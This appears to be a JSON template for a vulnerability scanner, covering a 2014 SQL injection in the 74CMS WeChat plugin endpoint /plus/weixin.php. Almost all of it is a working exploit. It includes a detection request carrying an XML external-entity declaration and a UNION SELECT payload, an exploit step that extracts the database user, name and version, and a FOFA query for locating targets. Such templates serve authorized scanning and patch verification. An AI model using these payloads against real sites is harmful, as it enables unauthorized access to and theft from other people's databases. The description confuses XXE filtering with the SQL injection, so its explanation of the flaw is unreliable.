{
  "Name": "74CMS SQLi with Plus weixin",
  "Description": "There is a libxml_disable_entity_loader function to prevent XML eXternal Entity Injection, but this function needs to be customized by the user. If the user does not customize it, there will be no filtering, which leads to SQL injection vulnerabilities.",
  "Product": "74CMS",
  "Homepage": "https://www.74cms.com/",
  "DisclosureDate": "2014-10-16",
  "Author": "itardc@163.com",
  "FofaQuery": "app=\"74CMS\"",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "https://www.uedbox.com/post/29340/"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "function",
      "type": "createSelect",
      "value": "user(),database(),version()",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE copyright [<!ENTITY test SYSTEM \"file:///\">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5(852963)#</Content></xml>",
        "data_type": "text",
        "follow_redirect": true,
        "header": {
          "Content-Type": "text/xml"
        },
        "method": "POST",
        "uri": "/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&timestamp=&nonce="
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "662be8a28444fe9b80595f92b8493fc4",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE copyright [<!ENTITY test SYSTEM \"file:///\">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select {{{function}}}#</Content></xml>",
        "data_type": "text",
        "follow_redirect": true,
        "header": {
          "Content-Type": "text/xml"
        },
        "method": "POST",
        "uri": "/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&timestamp=&nonce="
      },
      "SetVariable": [
        "output|lastbody|regex|[(](.*)[)]"
      ]
    }
  ],
  "Tags": ["sqli"],
  "CVEIDs": null,
  "CVSSScore": null,
  "AttackSurfaces": {
    "Application": ["74CMS"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}